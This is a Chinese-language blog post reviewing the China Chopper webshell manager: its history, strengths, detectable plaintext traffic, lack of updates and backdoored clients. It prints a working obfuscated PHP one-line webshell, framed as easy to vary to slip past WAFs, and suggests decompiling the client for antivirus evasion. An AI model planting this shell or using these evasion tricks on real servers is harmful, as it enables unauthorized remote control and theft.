天天看点

【webshell管理工具之一】中国菜刀

一、webshell管理工具的起源

说起webshell管理工具,必须先来看一段代码

这段一句话代码可以说是最古老的webshell管理工具原型,我们将其放置在web服务器的目录中,就可以通过get方法传递参数的方式,向服务器传入控制命令,从而达到对服务器命令控制的目的。

【webshell管理工具之一】中国菜刀

了解了这段代码,再来看中国菜刀的一句话木马,就不难理解,中国菜刀实际上是用C语言开发的一款客户端的web页面控制工具,其通过客户端代码的开发,将原本接近机器的命令行控制语句,封装为易于操作的图形界面,这就让使用者能够更加轻松的实现对远程服务器的控制,这也是中国菜刀备受初学者青睐的原因。

二、中国菜刀的优点

1、一句话木马短小精干,易于变形过狗、过WAF,简单举例如下。

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
           

2、页面设计美观,特别容易入手,功能灵活,实际大小只有200多K。

【webshell管理工具之一】中国菜刀
【webshell管理工具之一】中国菜刀
三、中国菜刀的过时之处

首先,我们必须承认中国菜刀是一款顶级的webshell管理工具,从2009年出现至今已有十余年,至今还有很多人在实战中习惯使用。但随着网络安全技术的发展,市面流行的版本足之处也逐渐暴露出来。

1、数据明文传输,行为特征明显

【webshell管理工具之一】中国菜刀

由上图中国菜刀执行命令时的抓包报文可以看出,中国菜刀使用的http协议的POST方法传输控制命令,其过程中要向服务器传入eval、base64_decode等函数的字符串,通过将字符串以命令方式在服务器执行达到控制目的。由于其传输数据没有使用加密,而一般仅使用了base64编码,其数据实际在网络中是明文传输的,因此中国菜刀的行为很容易被IDS等网络监控设备基于行为发现而查杀,这一点也是现阶段市面上中国菜刀的致命之处。

2、年久失修

由于中国菜刀作者只发布了2016版就不在更新,当前很多环境下,中国菜刀已经不能兼容,如php7环境下中国菜刀的支持已经会出问题。

3、后门菜刀满天飞

由于其是一款客户端工具,因此不少黑客就看好了黑吃黑的市场,在客户端加入回传后门,以达到黑吃黑的目的,其相关文章推荐看《技术揭秘:如何分析中国菜刀是否包含后门?》

四、webshell管理工具存在的意义

有句话叫存在即合理,像菜刀这样的webshell管理工具流行多年,至今依然经久不衰,这是有其道理的。当今国外某些渗透测试考试虽已明确规定,使用webshell工具进行的提权操作不能得分,但实际渗透测试中,webshell管理工具依然有着其不可替代的作用,由于其是通过web开放端口进行通信,这比反弹shell在过防火墙方面就占有很大优势,详细可参见我的文章《webshell与反弹shell》。

五、结束语

中国菜刀虽已年久失修,但笔者认为,这不过是市面上流传的版本没有更新罢了,在github上仔细搜索的话,还可以找到很多菜刀粉的自我修改版本。虽然至今未看到源码,但可以通过反编译的技术修改某些字符串,达到更新、免杀的目的。当然,随着蚁剑、冰蝎等更加优秀的webshell管理工具出现,我们更有理由相信,中国菜刀的作者很可能是自留了加密版本,因为对于对抗技术发展日新月异的网络安全实战,定制化、私有化才是真正的王道。

继续阅读